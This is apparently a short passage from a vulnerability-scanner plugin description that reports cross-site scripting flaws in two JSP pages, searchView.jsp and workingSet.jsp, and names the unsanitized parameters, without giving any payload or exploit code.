The installed version contains two JSP scripts that are affected by
cross-site scripting vulnerabilities.  Specifically, it fails to
sanitize input to the 'searchWord', 'maxHits', 'scopedSearch', and
'scope' parameters of 'searchView.jsp' and the 'operation' parameter
of 'workingSet.jsp' before using it to generate dynamic HTML content. 
An unauthenticated, remote attacker may be able to leverage these
issues to inject arbitrary HTML or script code into a user's browser
to be executed within the security context of the affected site.");
